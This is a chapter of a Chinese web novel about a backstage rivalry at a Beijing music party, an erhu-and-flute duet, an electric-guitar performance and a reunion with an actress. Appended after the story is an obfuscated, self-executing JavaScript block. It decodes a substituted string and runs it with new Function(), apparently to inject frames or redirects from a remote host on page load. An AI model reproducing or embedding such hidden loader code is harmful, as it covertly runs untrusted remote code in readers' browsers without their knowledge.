(手机请访问 m.duxs8.com)“哦?天赋?”李北候满脸不屑,“我承认他的天赋是顶尖儿的,然后呢?这个世界上各行各业有天赋的人多了去,不见得每一个都玩儿得转吧?”
易云舒正要张嘴说话,可被杨平科捷足先登了——
“喂喂,几位兄弟,为了几个小的没必要搞到那么难看吧?你们是忘了今儿party的主题了吗?可不是茬琴啊——还有北候,我不得不说你了,叶歧路的天赋我们是共同见证过的,但人家有可能压根儿没走这条路呢?老何早就说过他是学习挂儿的,大家难得聚在一起,开心就好,你又何必那么咄咄逼人呢?”
既然方晓和杨平科相继出来说好话了,他再不爽易云舒也得给这两位面子——李北候扫兴地耸了耸肩,带着小辉那些人转头就要走。
“都给我站住!”
叶歧路上前一步,声音不大不小。
前面那些人,包括方晓、杨平科、顾小白,还有其他很多他不认识的人统统回过头来——
叶歧路扬起的嘴角轻轻放下,说出口的话不怒自威:“你们一群人冲过来对着我和易云舒连嘲讽再动手,转身拍拍屁股再‘大度’的走人?哪他妈来的那么多好事儿?!”
易云舒侧了下脸。
李北候轻松地将手放在脑后,微挑下巴,“怎么?叶大天才很不服?想上台和小辉对一波垒?”
叶歧路又往前走了两步,正好与李北候面对面站着,“不!”他轻轻微笑,“我对小辉没有任何兴趣,要上就你上!”
这话说出来,除了易云舒,其他人都哄然一笑。
显而易见的,相当不自量力。
李北候看着叶歧路,想从对方没什么情绪的冷淡表情里读出点东西——他也笑了,“我?叶大天才好像胸有成竹?”
叶歧路的脸上突然绽开一个笑容,那是灿烂的、自信的、志在必得的笑容,他回答:“向来如此。”
“喂!你俩儿想茬琴滚出去茬!甭在这儿碍眼!”一直默不作声的顾小白发话了,“party不是为了你们俩儿举办的,规矩不是你们说破坏就能破坏的。”
叶歧路眉头微蹙地问:“party的规矩?”
“今儿的规矩就是用其他乐器玩儿,不许用摇滚的乐器,吉他贝司键盘鼓,一个不许动,”顾小白四下一问,“都忘了?”
“——如果说以后大家都任性的想怎么样就怎么样,那圈儿内的party也没有办的必要了,反正瞎几把玩儿呗!”
“那刚刚的……?”
叶歧路发誓他听到了有人用吉他弹唱。
“所以,”顾小白漠然一笑,“那不是我们的人,他弹得也不是电吉他——但云舒和北候该遵守的规矩必须遵守,至于你——”顾小白瞥了下叶歧路,“你是云舒带来的人,是他的人,所以也要遵守我们的规矩!”
双方僵持不下的时候,方晓出来主持大局——
“小白说的有道理,北候和这位小兄弟,party结束再切磋。”
可李北候是实打实的被叶歧路刚刚骄傲又自信的态度给刺激到了,他指名带姓的对叶歧路说:“叶歧路!你丫给我等着!看我以后怎么跟你算账儿!”
叶歧路无所畏惧地说:“随时随地奉陪——”
叶歧路这个模样显然又给李北候刺激了一下,他气的连最基本的表情都控制不住了,“既然来了我们的party,是不是得尊重一下party的制度,上台来一段?”
“可以。”没想到叶歧路答应得干脆利落,并且无所畏惧的加了一句:“你说怎么样就怎么样咯——”
李北候怒极反笑,“牛逼呀!你丫有种儿!”
这个时候易云舒轻轻拍了拍叶歧路的肩膀,鼓励般地按了一下,对李北候说:“既然你也说了他是跟我来的,那就是我的人,所以我跟他一起。”说完他挑起视线看向方晓。
方晓点了点头,“行,那你们最后一个吧。”
将易云舒和叶歧路插到最后一个,是唯一不打断原来顺序的办法。
于是party开始前一段小小的风波就此翻过。
他们分别回到了自己原来的座位。
叶歧路和易云舒找了一个角落并排而坐。
party已经开始了——
台上那人正在深情款款地演奏手风琴,偌大的舞台除了后面固定的架子鼓,就只剩下表演者了,看起来有些空荡荡的。
叶歧路低声询问易云舒:“你们是怎么想出来这种party规则的?”
“每年都有,方晓就喜欢搞这些与众不同的玩意儿。”易云舒回答完,看了叶歧路一眼,“你都会什么乐器?”
“你呢?”叶歧路反问道。
“我?”易云舒说,“很多乐器我都能摆弄一下,但是要说玩的最精的,除了摇滚乐器,就是笛子。”
“笛子?”叶歧路笑了起来,“那我们确实挺配的,我是二胡。”
易云舒目不转睛地盯着易云舒,好像喃喃自语地说:“你以前真的是玩二胡的啊……”
刚刚台上的葫芦丝突然之间连拔了几个高音,正好将易云舒的声音淹没在之下。
“恩?”叶歧路随便一问。
易云舒不再说话了。
时间如流水般飞快。
一个小时悄悄流逝。
涤非赶到的时候,叶歧路和易云舒已经来到了后台。
卫武刚从台上下来,看到他们两个站在那,拿着刚演奏完的二胡走了过去,问道:“云舒,我看你们什么都没带,都需要什么乐器啊?我先去帮你们借一下。”
叶歧路的目光落在卫武手中的二胡上,笑道:“我就要你这一把。”
卫武一惊,“二胡?你也会拉二胡?”
叶歧路点了下头,小小谦虚了一下,“小时候跟爷爷学过几年。”
“几年?厉害了!”卫武赞叹了一句,转头对易云舒说,“有了个二胡,那云舒肯定是笛子了吧?我去找一下。”
只要几分钟的功夫,卫武就借到了一根外观精致的笛子回来,他将笛子塞进易云舒的手里,“用这个吧,是海淀那帮人的,不过他们今儿没人吹笛子。”
易云舒手上接过那根笛子,像转鼓槌一样,在指尖眼花缭乱地转动着——看来是一名老手。
卫武看着易云舒,随后他拍了拍叶歧路,“甭紧张,云舒的笛子就像他的吉他,那叫一个出神入化,我跟他合奏过,只要放轻松就行。”
叶歧路挑了挑眉。
事实证明,卫武没有说错,易云舒的笛子确实出神入化。
不过有一点出乎卫武意料的是——
叶歧路的二胡也是出神入化的啊!
根本不是他说的跟爷爷学过几年好不好!
光这基本功就不止几年了吧!
卫武有点抓狂——
完了完了!都是表演二胡的,他被比下去了!
叶歧路和易云舒合奏了一曲1990年春晚大热的曲目——《牧野情歌》
这首歌原唱是当时著名的甜妹子李玲玉,基调欢快,声音甜美。
但在二胡和笛子的珠联璧合之下,整首曲子娓娓道来。
二胡本身音色就带着一点凄凉婉转,可这首歌的前半节,叶歧路硬生生拉奏出了金戈铁马的味道——
停留在最后一句“那穿透岁月的月光,骄傲的飞翔”的时候,清扬的笛子声拔地而起,配合着气势如红的二胡,完美无瑕地诠释了激昂,那是心也随之动荡的震撼。
前半段一过,曲目进入后半段——
二胡的萧瑟缠绵的断肠音便如诉如泣了起来。
笛子的清亮飘渺不仅没有任何突兀之感,反而将断肠音对比衬托得更加凄美惆怅。
这家乡的水
这家乡的云
可曾让你牵挂
夕阳别落下
陪伴他万里走天涯
风沙别说话
听我把歌儿唱给他
从思乡之情再到思念之情,过渡的浑然天成——
摇滚固然震撼,但中国古典乐器的独特韵味,却不是简简单单一个“震撼”可以形容的。
完全应正了李白的那几句诗:
昨夜谁为吴会吟,风生万壑振空林。
龙惊不敢水中卧,猿啸时闻岩下音。
一曲毕。
二胡和笛子默契十足地在同一个地点收了尾音。
台上台下进入了短暂的沉静。
只剩下那一点的余音绕梁。
坐在椅子上的叶歧路抬头看向站在他身边的易云舒。
轻轻地相视一笑。
台下还是一片鸦雀无声。
就在这个时候叶歧路看到了舞台角落里一把斜歪在地的电吉他。
他起身,在所有人的目光下走了过去——
放下二胡的同时拿起了电吉他。
他将电吉他轻轻抱在了身前。
叶歧路从来没有摸过电吉他,他也知道电吉他和传统吉他从演奏上来说应该有许多的不同之处。
不过——
这些都不重要!
叶歧路轻轻拨了一下琴弦。
“嗡——”
电吉他爆发的声音一下子将被二胡和笛子笼罩着的氛围全部撕碎!
这就是电吉他的声音和触感!
不同于温和悠扬的传统吉他,电吉他俨然就是一名在冲锋陷阵的斗士,吹响了号角之后,用他最澎湃的激情就对这个世界宣战。
“拿起地上的拨片!”
易云舒在身后发号施令。
叶歧路放眼望去,顺手捡起地上扔着的不起眼的拨片。
“站到舞台中央!”
叶歧路抱着吉他走到了舞台中央。
“调整麦架!”
叶歧路调整了一下麦架的高度——让麦克风一错不错地对准他的嘴巴。
“弹!”
易云舒说了最后一个字。
叶歧路想了想,用拨片轻轻扫起弦来。
单单是电吉他的声音,激昂却也单薄,就像是一位没了士兵的将军,只剩下最后的一腔孤胆。
叶歧路正这么想着——
一阵扣人心弦的鼓声加入了进来。
叶歧路回过头去——
易云舒坐在舞台后方的架子鼓之后,双手挥舞着鼓槌,熟练地敲打着架子鼓,在节奏的间隙偶尔还在指尖转动一下鼓槌。
帅得一塌糊涂啊!
叶歧路笑了一下,转过身面对台下。
他结束了即兴的弹奏,进入了歌曲的前奏。
是那首当时红遍大江南北的《我想有个家》——
我想有个家
一个不需要华丽的地方
在我疲倦的时候
我会想到它
我想有个家
一个不需要多大的地方
在我受惊吓的时候
我才不会害怕
谁不会想要家
可是就有人没有它
脸上流着眼泪
只能自己轻轻擦
我好羡慕他
受伤后可以回家
而我只能孤单的
孤单的寻找我的家
电吉他的激烈配上叶歧路的歌声,将这首当□□曲真正意义上的打碎重组。
就像易云舒之前所说的,叶歧路的声音干冷且没什么情感,一个人很难在短时间内轻易的改变,声音也是如此——
他的歌声太过于游离和置身之外。
那是高高在上的审视,好像并不是“我想有个家”,而是“你想有个家”。
这样很难像原唱潘美辰那样引起人们共鸣,但让人更加的冰冷且绝望。
对比于“我想有个家”,显而易见的,人们更怕的是有人毫无情面的戳破内心的恐惧与忧愁——“你想有个家”。
唱哭无数人的《我想有个家》,从叶歧路的口中,是扑面而来的深渊桎梏。
最可怕的不是想哭,也不是哭不出来,而是想哭却不敢哭。
这首歌演唱完,全场比之前的二胡笛子合奏更加沉寂。
直到叶歧路礼貌地鞠躬下台,并将电吉他物归原位,全场在爆发出了热烈的掌声和叫好。
易云舒跟在叶歧路后面,拍了下他的肩膀,“行事儿啊,第一次摸电吉他就弹得有模有样的。”
叶歧路淡淡一笑。
“怎么样?”易云舒问道,“电吉他和传统吉他是不是有很大的不同?激动吗?”
“你说呢?”叶歧路侧了下身,让易云舒看他的后背——干净的海魂衫上已经布满了汗渍。
易云舒灵活地转了下手上的笛子,挑眉问:“是紧张的还是激动的?”
叶歧路长长的深呼吸了一下,“肯定是激动的,电吉他的渲染力忒牛逼了!”
还没等易云舒说话,涤非就冲进后台了,还接住了叶歧路的话茬儿——
“你丫也牛逼啊!”
涤非一下子抱住了叶歧路,使劲儿揉了一把对方的黑发,“我怎么都不知道你会拉二胡和唱歌?真人不露相啊!快从实招来!你丫还有多少东西是瞒着我的?”
“恩——”叶歧路假装用力思考的样子,然后轻笑着说,“没了。”
涤非捅着叶歧路的心口窝,根本不相信,“真没了?”
“当然真没了!我骗你干菜?”说着叶歧路就和涤非打闹了起来。
易云舒就站在一旁,一边在指尖转着笛子一边看着他们。
这个时候方晓也来到了后台。
打闹中的叶歧路和涤非一见到方晓,下意识停下了动作。
方晓对叶歧路招了下手——待叶歧路走上前——他就上下打量了叶歧路一番,然后笑了一下,“我看你面生的很,是哪个乐队的啊?”
叶歧路也笑了,如实回答:“没有。”
“没有?你的吉他这么好竟然没有乐队?”方晓歪了下头,“那你的师父是谁?杨平科?邱嘉蓝?易云舒?还是……?”
叶歧路耸了下肩表示对方给出的选择全部错误,“他是mr.s。”
方晓又歪了下头,一脸迷茫,重复了一遍:“mr.s?”他回想了一会儿,想从记忆里将这个mr.s揪出来,逐一失败后,他扬起声音问:“云舒,圈儿里有叫mr.s的?你听说过这人吗?”
易云舒无辜地摊了摊手。
“那他长成什么样儿啊?”方晓孜孜不倦地问,“你能不能稍微形容一下看看?我怎么不知道北京有这么默默无闻的吉他大师?”——他用吉他大师来形容叶歧路的师父,纯粹是因为叶歧路在北京勉强可以列为高手,他的师父必然是一名大师。
“我也不知道。”叶歧路如实说着听起来略显滑稽的实话,“我只知道他吉他吊打我,字很好看,喜欢抽烟,没了——”
杨平科和李北候已经来到了后台。
李北候的脸色已经黑得不能再黑了。
但听到叶歧路对他师父的描述,还是无一例外的一脸懵逼。
没了?
大家都面面相觑起来。
“哎,你们看歧路不就行了,研究他师父干嘛?既然人家世外高人不想露真身你们管得着吗?真是的——”涤非大大咧咧地说完,抱住叶歧路的一只胳膊,谄媚地笑道,“歧路,快点来我们乐队玩儿!我们鼓手上大学去了,正好你来当吉他,我去敲鼓。”
“不行!”
“不行!”
“不行——”
连续三个“不行”不约而同的响起。
他们分别是来自方晓、小辉和易云舒。
小辉说:“在他还不会弹吉他的时候我就盯上他了!”
方晓说:“他这么有潜力,得跟着我玩儿,我能让他成名!”
叶歧路:莫名其妙变成了一块香饽饽……
易云舒停止转动笛子,冷笑着说:“你们甭想什么是什么,他可是个好学生,要考大学的!”
“天啊,易云舒,你未免也太小瞧歧路的学霸程度了吧?”涤非不以为然,“玩个乐队就把不住了?完全不能影响他的成绩好不好?”
“可笑!”易云舒嗤笑了一声,“这世界上哪个人的哪一种成功是天生而来的?光看到别人台上光辉的一面儿了,背地里付出过多少努力外人知道吗?”
“哦,这样啊。”涤非呵呵笑道,“那你又怎么知道的?”
“容我说一句——”叶歧路出声打断了他们的争论,“这个我必须听我师父的,他明确说过他不支持我去玩乐队,所以大概短时间内我不会有什么想法,多谢大家高看了。”
“切,扫兴——”
还以为今天大佬们能撕出个新燕花落谁家呢,结果竟然这样戏剧的结局收场。
方晓有风度的多了,他笑着拍了拍叶歧路的胳膊,“行,以后改变主意了随时到我这儿点卯儿,还有我对你师父实在是倍儿好奇,回头儿你务必得让我知道他到底是何方高人啊。”
叶歧路点头应了。
路过李北候的时候,叶歧路稍微住了下脚,将目光投到对方的脸上打了一下转儿,轻声问:“还茬吗?”
李北候瞪着叶歧路,气哄哄地说:“这才一年多的光景儿,你丫怎么练的?”
叶歧路笑了起来,举起满是茧子的手指,真不真假不假地回答:“一边流血一边练咯——”
李北候皱起眉头,当他的视线落到叶歧路的手指肚后,又将眉毛扬了一下。
叶歧路慢慢走出后台,正要关上门,就听到后面的顾小白叫道:“云舒你甭走,咱们把下个月的行动敲一下。”
于是叶歧路就独自一人走出了那个满是人的后台。
他长长的吁出一口气。
太热了。
还是去外面透透气吧。
叶歧路刚走了几步,就被前面拐角处闪出的一个人拦住了去路。
那个人带着深蓝色的鸭舌帽,微微低着头,帽檐儿将对方的脸全部遮在阴影里。
“你是……”
是一种又陌生又熟悉的感觉。
对方慢慢地抬起头。
惊艳四方的面容上勾出一抹笑容。
对方这一笑,叶歧路的心脏都徒然抖动了一下,想故作平静,但还是抑制不住那种由内而外的激动,他低声叫起对方的名字:“左珊!”
“嘘——”左珊把细长的手指压在唇上——红色的指甲与她的唇色相得益彰,比两年前初见更加明艳不可方物了。
她四下扫了扫,随手打开旁边的一扇门,将叶歧路拉了进去,小心翼翼地关上门后,她才松了一口气,摘下鸭舌帽的同时说:“现在可不比以前了,到哪儿都得全副武装,不然就水泄不通了——”
这是歌舞厅的后台仓库。
叶歧路靠在一面镜子柜上,扯起嘴角笑了起来,“那可不,主要是你现在红啊,哪家电影院门口不得挂你的照片儿?”
“是吗?”左珊笑得眉眼弯弯,“我早就溜儿进来了,本来是想看看云舒的表演,只是没想到你简直让人刮目相看啊!”
叶歧路笑着摆摆手,“我跟易云舒比不就是小巫见大巫了?”
“哪儿啊!你不要妄自菲薄!”左珊说,“云舒的笛子和鼓是顶尖儿的我早就知道,不过你的二胡和吉他也一样顶尖儿啊,尤其是吉他,上次在大栅栏儿你不是才第一次弹嘛,现在怎么就变成大拿了?果然这是个天赋决定一切的世界吗?”
“拉倒吧,论天赋谁也不能跟你比呀——”叶歧路继续笑,“你的美貌和演技已经全国家喻户晓了,说到香港新星和美女,你已经排的上号了!”
“所以我们两个是准备就这么没玩没了的互相吹嘘和谦虚嘛?”左珊笑着拍了下叶歧路的肩膀,“好好干,学习和音乐都不能耽误!”
“——过两年你就直接考香港大学,回头儿我带你认识那些香港的著名音乐人,想出头不是指日可待的吗?”
“香港大学我倒是挺想考的,至于音乐人什么的,就随缘吧。”说完叶歧路就想到了之前易云舒去香港谈合约的事儿,他问道:“你知道上个月易云舒他们去香港了吗?”
“当然知道啊,”左珊回答,“我还带他们在香港游玩了一圈儿呢,顺道儿吃遍了香港美食。”
果然去找左珊了……叶歧路不动声色,“易云舒说他听不懂香港人说话,是你给他当翻译的?”
左珊点头,“是啊。”
“可你说话还是一嘴的京油子味儿啊!”
左珊冲叶歧路哈哈大笑,“因为我生来就是北京大妞儿啊!”
叶歧路也忍不住大笑了起来。
“嘭——”
仓库门被人从外踹开。
哗啦啦几个人围堵在门口。
叶歧路和左珊一同望去——
只见在最前面的易云舒嘴角止不住地抽搐了几下,恶狠狠又冷冰冰地问:
“你们俩儿在这儿关着门干什么呢?”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();